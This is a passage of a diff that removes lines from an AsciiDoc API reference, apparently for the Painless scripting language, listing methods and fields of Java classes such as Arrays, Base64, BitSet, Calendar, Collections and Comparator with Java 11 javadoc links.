-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* void {java11-javadoc}/java.base/java/util/ArrayList.html#trimToSize()[trimToSize]()
-
-
-[[painless-api-reference-shared-Arrays]]
-==== Arrays
-* static List {java11-javadoc}/java.base/java/util/Arrays.html#asList(java.lang.Object%5B%5D)[asList](Object[])
-* static boolean {java11-javadoc}/java.base/java/util/Arrays.html#deepEquals(java.lang.Object%5B%5D,java.lang.Object%5B%5D)[deepEquals](Object[], Object[])
-* static int {java11-javadoc}/java.base/java/util/Arrays.html#deepHashCode(java.lang.Object%5B%5D)[deepHashCode](Object[])
-* static null {java11-javadoc}/java.base/java/util/Arrays.html#deepToString(java.lang.Object%5B%5D)[deepToString](Object[])
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Base64]]
-==== Base64
-* static Base64.Decoder {java11-javadoc}/java.base/java/util/Base64.html#getDecoder()[getDecoder]()
-* static Base64.Encoder {java11-javadoc}/java.base/java/util/Base64.html#getEncoder()[getEncoder]()
-* static Base64.Decoder {java11-javadoc}/java.base/java/util/Base64.html#getMimeDecoder()[getMimeDecoder]()
-* static Base64.Encoder {java11-javadoc}/java.base/java/util/Base64.html#getMimeEncoder()[getMimeEncoder]()
-* static Base64.Encoder {java11-javadoc}/java.base/java/util/Base64.html#getMimeEncoder(int,byte%5B%5D)[getMimeEncoder](int, byte[])
-* static Base64.Decoder {java11-javadoc}/java.base/java/util/Base64.html#getUrlDecoder()[getUrlDecoder]()
-* static Base64.Encoder {java11-javadoc}/java.base/java/util/Base64.html#getUrlEncoder()[getUrlEncoder]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Base64-Decoder]]
-==== Base64.Decoder
-* byte[] {java11-javadoc}/java.base/java/util/Base64$Decoder.html#decode(java.lang.String)[decode](null)
-* int {java11-javadoc}/java.base/java/util/Base64$Decoder.html#decode(byte%5B%5D,byte%5B%5D)[decode](byte[], byte[])
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Base64-Encoder]]
-==== Base64.Encoder
-* int {java11-javadoc}/java.base/java/util/Base64$Encoder.html#encode(byte%5B%5D,byte%5B%5D)[encode](byte[], byte[])
-* null {java11-javadoc}/java.base/java/util/Base64$Encoder.html#encodeToString(byte%5B%5D)[encodeToString](byte[])
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Base64.Encoder {java11-javadoc}/java.base/java/util/Base64$Encoder.html#withoutPadding()[withoutPadding]()
-
-
-[[painless-api-reference-shared-BitSet]]
-==== BitSet
-* static BitSet {java11-javadoc}/java.base/java/util/BitSet.html#valueOf(long%5B%5D)[valueOf](long[])
-* {java11-javadoc}/java.base/java/util/BitSet.html#<init>()[BitSet]()
-* {java11-javadoc}/java.base/java/util/BitSet.html#<init>(int)[BitSet](int)
-* void {java11-javadoc}/java.base/java/util/BitSet.html#and(java.util.BitSet)[and](BitSet)
-* void {java11-javadoc}/java.base/java/util/BitSet.html#andNot(java.util.BitSet)[andNot](BitSet)
-* int {java11-javadoc}/java.base/java/util/BitSet.html#cardinality()[cardinality]()
-* void {java11-javadoc}/java.base/java/util/BitSet.html#clear()[clear]()
-* void {java11-javadoc}/java.base/java/util/BitSet.html#clear(int)[clear](int)
-* void {java11-javadoc}/java.base/java/util/BitSet.html#clear(int,int)[clear](int, int)
-* def {java11-javadoc}/java.base/java/util/BitSet.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* void {java11-javadoc}/java.base/java/util/BitSet.html#flip(int)[flip](int)
-* void {java11-javadoc}/java.base/java/util/BitSet.html#flip(int,int)[flip](int, int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/BitSet.html#intersects(java.util.BitSet)[intersects](BitSet)
-* boolean {java11-javadoc}/java.base/java/util/BitSet.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/util/BitSet.html#length()[length]()
-* int {java11-javadoc}/java.base/java/util/BitSet.html#nextClearBit(int)[nextClearBit](int)
-* int {java11-javadoc}/java.base/java/util/BitSet.html#nextSetBit(int)[nextSetBit](int)
-* void {java11-javadoc}/java.base/java/util/BitSet.html#or(java.util.BitSet)[or](BitSet)
-* int {java11-javadoc}/java.base/java/util/BitSet.html#previousClearBit(int)[previousClearBit](int)
-* int {java11-javadoc}/java.base/java/util/BitSet.html#previousSetBit(int)[previousSetBit](int)
-* void {java11-javadoc}/java.base/java/util/BitSet.html#set(int)[set](int)
-* void {java11-javadoc}/java.base/java/util/BitSet.html#set(int,int)[set](int, int)
-* void {java11-javadoc}/java.base/java/util/BitSet.html#set(int,int,boolean)[set](int, int, boolean)
-* int {java11-javadoc}/java.base/java/util/BitSet.html#size()[size]()
-* byte[] {java11-javadoc}/java.base/java/util/BitSet.html#toByteArray()[toByteArray]()
-* long[] {java11-javadoc}/java.base/java/util/BitSet.html#toLongArray()[toLongArray]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* void {java11-javadoc}/java.base/java/util/BitSet.html#xor(java.util.BitSet)[xor](BitSet)
-
-
-[[painless-api-reference-shared-Calendar]]
-==== Calendar
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#ALL_STYLES[ALL_STYLES]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#AM[AM]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#AM_PM[AM_PM]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#APRIL[APRIL]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#AUGUST[AUGUST]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#DATE[DATE]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#DAY_OF_MONTH[DAY_OF_MONTH]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#DAY_OF_WEEK[DAY_OF_WEEK]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#DAY_OF_WEEK_IN_MONTH[DAY_OF_WEEK_IN_MONTH]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#DAY_OF_YEAR[DAY_OF_YEAR]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#DECEMBER[DECEMBER]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#DST_OFFSET[DST_OFFSET]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#ERA[ERA]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#FEBRUARY[FEBRUARY]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#FIELD_COUNT[FIELD_COUNT]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#FRIDAY[FRIDAY]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#HOUR[HOUR]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#HOUR_OF_DAY[HOUR_OF_DAY]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#JANUARY[JANUARY]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#JULY[JULY]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#JUNE[JUNE]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#LONG[LONG]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#LONG_FORMAT[LONG_FORMAT]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#LONG_STANDALONE[LONG_STANDALONE]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#MARCH[MARCH]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#MAY[MAY]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#MILLISECOND[MILLISECOND]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#MINUTE[MINUTE]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#MONDAY[MONDAY]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#MONTH[MONTH]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#NARROW_FORMAT[NARROW_FORMAT]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#NARROW_STANDALONE[NARROW_STANDALONE]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#NOVEMBER[NOVEMBER]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#OCTOBER[OCTOBER]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#PM[PM]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#SATURDAY[SATURDAY]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#SECOND[SECOND]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#SEPTEMBER[SEPTEMBER]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#SHORT[SHORT]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#SHORT_FORMAT[SHORT_FORMAT]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#SHORT_STANDALONE[SHORT_STANDALONE]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#SUNDAY[SUNDAY]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#THURSDAY[THURSDAY]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#TUESDAY[TUESDAY]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#UNDECIMBER[UNDECIMBER]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#WEDNESDAY[WEDNESDAY]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#WEEK_OF_MONTH[WEEK_OF_MONTH]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#WEEK_OF_YEAR[WEEK_OF_YEAR]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#YEAR[YEAR]
-* static int {java11-javadoc}/java.base/java/util/Calendar.html#ZONE_OFFSET[ZONE_OFFSET]
-* static Set {java11-javadoc}/java.base/java/util/Calendar.html#getAvailableCalendarTypes()[getAvailableCalendarTypes]()
-* static Locale[] {java11-javadoc}/java.base/java/util/Calendar.html#getAvailableLocales()[getAvailableLocales]()
-* static Calendar {java11-javadoc}/java.base/java/util/Calendar.html#getInstance()[getInstance]()
-* static Calendar {java11-javadoc}/java.base/java/util/Calendar.html#getInstance(java.util.TimeZone)[getInstance](TimeZone)
-* static Calendar {java11-javadoc}/java.base/java/util/Calendar.html#getInstance(java.util.TimeZone,java.util.Locale)[getInstance](TimeZone, Locale)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#add(int,int)[add](int, int)
-* boolean {java11-javadoc}/java.base/java/util/Calendar.html#after(java.lang.Object)[after](Object)
-* boolean {java11-javadoc}/java.base/java/util/Calendar.html#before(java.lang.Object)[before](Object)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#clear()[clear]()
-* void {java11-javadoc}/java.base/java/util/Calendar.html#clear(int)[clear](int)
-* def {java11-javadoc}/java.base/java/util/Calendar.html#clone()[clone]()
-* int {java11-javadoc}/java.base/java/util/Calendar.html#compareTo(java.util.Calendar)[compareTo](Calendar)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#get(int)[get](int)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getActualMaximum(int)[getActualMaximum](int)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getActualMinimum(int)[getActualMinimum](int)
-* null {java11-javadoc}/java.base/java/util/Calendar.html#getCalendarType()[getCalendarType]()
-* null {java11-javadoc}/java.base/java/util/Calendar.html#getDisplayName(int,int,java.util.Locale)[getDisplayName](int, int, Locale)
-* Map {java11-javadoc}/java.base/java/util/Calendar.html#getDisplayNames(int,int,java.util.Locale)[getDisplayNames](int, int, Locale)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getFirstDayOfWeek()[getFirstDayOfWeek]()
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getGreatestMinimum(int)[getGreatestMinimum](int)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getLeastMaximum(int)[getLeastMaximum](int)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getMaximum(int)[getMaximum](int)
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getMinimalDaysInFirstWeek()[getMinimalDaysInFirstWeek]()
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getMinimum(int)[getMinimum](int)
-* Date {java11-javadoc}/java.base/java/util/Calendar.html#getTime()[getTime]()
-* long {java11-javadoc}/java.base/java/util/Calendar.html#getTimeInMillis()[getTimeInMillis]()
-* TimeZone {java11-javadoc}/java.base/java/util/Calendar.html#getTimeZone()[getTimeZone]()
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getWeekYear()[getWeekYear]()
-* int {java11-javadoc}/java.base/java/util/Calendar.html#getWeeksInWeekYear()[getWeeksInWeekYear]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Calendar.html#isLenient()[isLenient]()
-* boolean {java11-javadoc}/java.base/java/util/Calendar.html#isSet(int)[isSet](int)
-* boolean {java11-javadoc}/java.base/java/util/Calendar.html#isWeekDateSupported()[isWeekDateSupported]()
-* void {java11-javadoc}/java.base/java/util/Calendar.html#roll(int,int)[roll](int, int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#set(int,int)[set](int, int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#set(int,int,int)[set](int, int, int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#set(int,int,int,int,int)[set](int, int, int, int, int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#set(int,int,int,int,int,int)[set](int, int, int, int, int, int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setFirstDayOfWeek(int)[setFirstDayOfWeek](int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setLenient(boolean)[setLenient](boolean)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setMinimalDaysInFirstWeek(int)[setMinimalDaysInFirstWeek](int)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setTime(java.util.Date)[setTime](Date)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setTimeInMillis(long)[setTimeInMillis](long)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setTimeZone(java.util.TimeZone)[setTimeZone](TimeZone)
-* void {java11-javadoc}/java.base/java/util/Calendar.html#setWeekDate(int,int,int)[setWeekDate](int, int, int)
-* Instant {java11-javadoc}/java.base/java/util/Calendar.html#toInstant()[toInstant]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Calendar-Builder]]
-==== Calendar.Builder
-* {java11-javadoc}/java.base/java/util/Calendar$Builder.html#<init>()[Calendar.Builder]()
-* Calendar {java11-javadoc}/java.base/java/util/Calendar$Builder.html#build()[build]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Calendar.Builder {java11-javadoc}/java.base/java/util/Calendar$Builder.html#set(int,int)[set](int, int)
-* Calendar.Builder {java11-javadoc}/java.base/java/util/Calendar$Builder.html#setCalendarType(java.lang.String)[setCalendarType](null)
-* Calendar.Builder {java11-javadoc}/java.base/java/util/Calendar$Builder.html#setDate(int,int,int)[setDate](int, int, int)
-* Calendar.Builder {java11-javadoc}/java.base/java/util/Calendar$Builder.html#setFields(int%5B%5D)[setFields](int[])
-* Calendar.Builder {java11-javadoc}/java.base/java/util/Calendar$Builder.html#setInstant(long)[setInstant](long)
-* Calendar.Builder {java11-javadoc}/java.base/java/util/Calendar$Builder.html#setLenient(boolean)[setLenient](boolean)
-* Calendar.Builder {java11-javadoc}/java.base/java/util/Calendar$Builder.html#setLocale(java.util.Locale)[setLocale](Locale)
-* Calendar.Builder {java11-javadoc}/java.base/java/util/Calendar$Builder.html#setTimeOfDay(int,int,int)[setTimeOfDay](int, int, int)
-* Calendar.Builder {java11-javadoc}/java.base/java/util/Calendar$Builder.html#setTimeOfDay(int,int,int,int)[setTimeOfDay](int, int, int, int)
-* Calendar.Builder {java11-javadoc}/java.base/java/util/Calendar$Builder.html#setTimeZone(java.util.TimeZone)[setTimeZone](TimeZone)
-* Calendar.Builder {java11-javadoc}/java.base/java/util/Calendar$Builder.html#setWeekDate(int,int,int)[setWeekDate](int, int, int)
-* Calendar.Builder {java11-javadoc}/java.base/java/util/Calendar$Builder.html#setWeekDefinition(int,int)[setWeekDefinition](int, int)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Collection]]
-==== Collection
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Collections]]
-==== Collections
-* static List {java11-javadoc}/java.base/java/util/Collections.html#EMPTY_LIST[EMPTY_LIST]
-* static Map {java11-javadoc}/java.base/java/util/Collections.html#EMPTY_MAP[EMPTY_MAP]
-* static Set {java11-javadoc}/java.base/java/util/Collections.html#EMPTY_SET[EMPTY_SET]
-* static boolean {java11-javadoc}/java.base/java/util/Collections.html#addAll(java.util.Collection,java.lang.Object%5B%5D)[addAll](Collection, def[])
-* static Queue {java11-javadoc}/java.base/java/util/Collections.html#asLifoQueue(java.util.Deque)[asLifoQueue](Deque)
-* static int {java11-javadoc}/java.base/java/util/Collections.html#binarySearch(java.util.List,java.lang.Object)[binarySearch](List, def)
-* static int {java11-javadoc}/java.base/java/util/Collections.html#binarySearch(java.util.List,java.lang.Object,java.util.Comparator)[binarySearch](List, def, Comparator)
-* static void {java11-javadoc}/java.base/java/util/Collections.html#copy(java.util.List,java.util.List)[copy](List, List)
-* static boolean {java11-javadoc}/java.base/java/util/Collections.html#disjoint(java.util.Collection,java.util.Collection)[disjoint](Collection, Collection)
-* static Enumeration {java11-javadoc}/java.base/java/util/Collections.html#emptyEnumeration()[emptyEnumeration]()
-* static Iterator {java11-javadoc}/java.base/java/util/Collections.html#emptyIterator()[emptyIterator]()
-* static List {java11-javadoc}/java.base/java/util/Collections.html#emptyList()[emptyList]()
-* static ListIterator {java11-javadoc}/java.base/java/util/Collections.html#emptyListIterator()[emptyListIterator]()
-* static Map {java11-javadoc}/java.base/java/util/Collections.html#emptyMap()[emptyMap]()
-* static NavigableMap {java11-javadoc}/java.base/java/util/Collections.html#emptyNavigableMap()[emptyNavigableMap]()
-* static NavigableSet {java11-javadoc}/java.base/java/util/Collections.html#emptyNavigableSet()[emptyNavigableSet]()
-* static Set {java11-javadoc}/java.base/java/util/Collections.html#emptySet()[emptySet]()
-* static SortedMap {java11-javadoc}/java.base/java/util/Collections.html#emptySortedMap()[emptySortedMap]()
-* static SortedSet {java11-javadoc}/java.base/java/util/Collections.html#emptySortedSet()[emptySortedSet]()
-* static Enumeration {java11-javadoc}/java.base/java/util/Collections.html#enumeration(java.util.Collection)[enumeration](Collection)
-* static void {java11-javadoc}/java.base/java/util/Collections.html#fill(java.util.List,java.lang.Object)[fill](List, def)
-* static int {java11-javadoc}/java.base/java/util/Collections.html#frequency(java.util.Collection,java.lang.Object)[frequency](Collection, def)
-* static int {java11-javadoc}/java.base/java/util/Collections.html#indexOfSubList(java.util.List,java.util.List)[indexOfSubList](List, List)
-* static int {java11-javadoc}/java.base/java/util/Collections.html#lastIndexOfSubList(java.util.List,java.util.List)[lastIndexOfSubList](List, List)
-* static ArrayList {java11-javadoc}/java.base/java/util/Collections.html#list(java.util.Enumeration)[list](Enumeration)
-* static def {java11-javadoc}/java.base/java/util/Collections.html#max(java.util.Collection)[max](Collection)
-* static def {java11-javadoc}/java.base/java/util/Collections.html#max(java.util.Collection,java.util.Comparator)[max](Collection, Comparator)
-* static def {java11-javadoc}/java.base/java/util/Collections.html#min(java.util.Collection)[min](Collection)
-* static def {java11-javadoc}/java.base/java/util/Collections.html#min(java.util.Collection,java.util.Comparator)[min](Collection, Comparator)
-* static List {java11-javadoc}/java.base/java/util/Collections.html#nCopies(int,java.lang.Object)[nCopies](int, def)
-* static Set {java11-javadoc}/java.base/java/util/Collections.html#newSetFromMap(java.util.Map)[newSetFromMap](Map)
-* static boolean {java11-javadoc}/java.base/java/util/Collections.html#replaceAll(java.util.List,java.lang.Object,java.lang.Object)[replaceAll](List, def, def)
-* static void {java11-javadoc}/java.base/java/util/Collections.html#reverse(java.util.List)[reverse](List)
-* static Comparator {java11-javadoc}/java.base/java/util/Collections.html#reverseOrder()[reverseOrder]()
-* static Comparator {java11-javadoc}/java.base/java/util/Collections.html#reverseOrder(java.util.Comparator)[reverseOrder](Comparator)
-* static void {java11-javadoc}/java.base/java/util/Collections.html#rotate(java.util.List,int)[rotate](List, int)
-* static void {java11-javadoc}/java.base/java/util/Collections.html#shuffle(java.util.List)[shuffle](List)
-* static void {java11-javadoc}/java.base/java/util/Collections.html#shuffle(java.util.List,java.util.Random)[shuffle](List, Random)
-* static Set {java11-javadoc}/java.base/java/util/Collections.html#singleton(java.lang.Object)[singleton](def)
-* static List {java11-javadoc}/java.base/java/util/Collections.html#singletonList(java.lang.Object)[singletonList](def)
-* static Map {java11-javadoc}/java.base/java/util/Collections.html#singletonMap(java.lang.Object,java.lang.Object)[singletonMap](def, def)
-* static void {java11-javadoc}/java.base/java/util/Collections.html#sort(java.util.List)[sort](List)
-* static void {java11-javadoc}/java.base/java/util/Collections.html#sort(java.util.List,java.util.Comparator)[sort](List, Comparator)
-* static void {java11-javadoc}/java.base/java/util/Collections.html#swap(java.util.List,int,int)[swap](List, int, int)
-* static Collection {java11-javadoc}/java.base/java/util/Collections.html#unmodifiableCollection(java.util.Collection)[unmodifiableCollection](Collection)
-* static List {java11-javadoc}/java.base/java/util/Collections.html#unmodifiableList(java.util.List)[unmodifiableList](List)
-* static Map {java11-javadoc}/java.base/java/util/Collections.html#unmodifiableMap(java.util.Map)[unmodifiableMap](Map)
-* static NavigableMap {java11-javadoc}/java.base/java/util/Collections.html#unmodifiableNavigableMap(java.util.NavigableMap)[unmodifiableNavigableMap](NavigableMap)
-* static NavigableSet {java11-javadoc}/java.base/java/util/Collections.html#unmodifiableNavigableSet(java.util.NavigableSet)[unmodifiableNavigableSet](NavigableSet)
-* static Set {java11-javadoc}/java.base/java/util/Collections.html#unmodifiableSet(java.util.Set)[unmodifiableSet](Set)
-* static SortedMap {java11-javadoc}/java.base/java/util/Collections.html#unmodifiableSortedMap(java.util.SortedMap)[unmodifiableSortedMap](SortedMap)
-* static SortedSet {java11-javadoc}/java.base/java/util/Collections.html#unmodifiableSortedSet(java.util.SortedSet)[unmodifiableSortedSet](SortedSet)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Comparator]]
-==== Comparator
-* static Comparator {java11-javadoc}/java.base/java/util/Comparator.html#comparing(java.util.function.Function)[comparing](Function)
-* static Comparator {java11-javadoc}/java.base/java/util/Comparator.html#comparing(java.util.function.Function,java.util.Comparator)[comparing](Function, Comparator)
-* static Comparator {java11-javadoc}/java.base/java/util/Comparator.html#comparingDouble(java.util.function.ToDoubleFunction)[comparingDouble](ToDoubleFunction)
-* static Comparator {java11-javadoc}/java.base/java/util/Comparator.html#comparingInt(java.util.function.ToIntFunction)[comparingInt](ToIntFunction)
-* static Comparator {java11-javadoc}/java.base/java/util/Comparator.html#comparingLong(java.util.function.ToLongFunction)[comparingLong](ToLongFunction)
-* static Comparator {java11-javadoc}/java.base/java/util/Comparator.html#naturalOrder()[naturalOrder]()
-* static Comparator {java11-javadoc}/java.base/java/util/Comparator.html#nullsFirst(java.util.Comparator)[nullsFirst](Comparator)
-* static Comparator {java11-javadoc}/java.base/java/util/Comparator.html#nullsLast(java.util.Comparator)[nullsLast](Comparator)
-* static Comparator {java11-javadoc}/java.base/java/util/Comparator.html#reverseOrder()[reverseOrder]()
-* int {java11-javadoc}/java.base/java/util/Comparator.html#compare(java.lang.Object,java.lang.Object)[compare](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Comparator.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#reversed()[reversed]()
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparing(java.util.Comparator)[thenComparing](Comparator)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparing(java.util.function.Function,java.util.Comparator)[thenComparing](Function, Comparator)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparingDouble(java.util.function.ToDoubleFunction)[thenComparingDouble](ToDoubleFunction)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparingInt(java.util.function.ToIntFunction)[thenComparingInt](ToIntFunction)
-* Comparator {java11-javadoc}/java.base/java/util/Comparator.html#thenComparingLong(java.util.function.ToLongFunction)[thenComparingLong](ToLongFunction)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ConcurrentModificationException]]
-==== ConcurrentModificationException
-* {java11-javadoc}/java.base/java/util/ConcurrentModificationException.html#<init>()[ConcurrentModificationException]()
-* {java11-javadoc}/java.base/java/util/ConcurrentModificationException.html#<init>(java.lang.String)[ConcurrentModificationException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Currency]]
-==== Currency
-* static Set {java11-javadoc}/java.base/java/util/Currency.html#getAvailableCurrencies()[getAvailableCurrencies]()
-* static Currency {java11-javadoc}/java.base/java/util/Currency.html#getInstance(java.lang.String)[getInstance](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/util/Currency.html#getCurrencyCode()[getCurrencyCode]()
-* int {java11-javadoc}/java.base/java/util/Currency.html#getDefaultFractionDigits()[getDefaultFractionDigits]()
-* null {java11-javadoc}/java.base/java/util/Currency.html#getDisplayName()[getDisplayName]()
-* null {java11-javadoc}/java.base/java/util/Currency.html#getDisplayName(java.util.Locale)[getDisplayName](Locale)
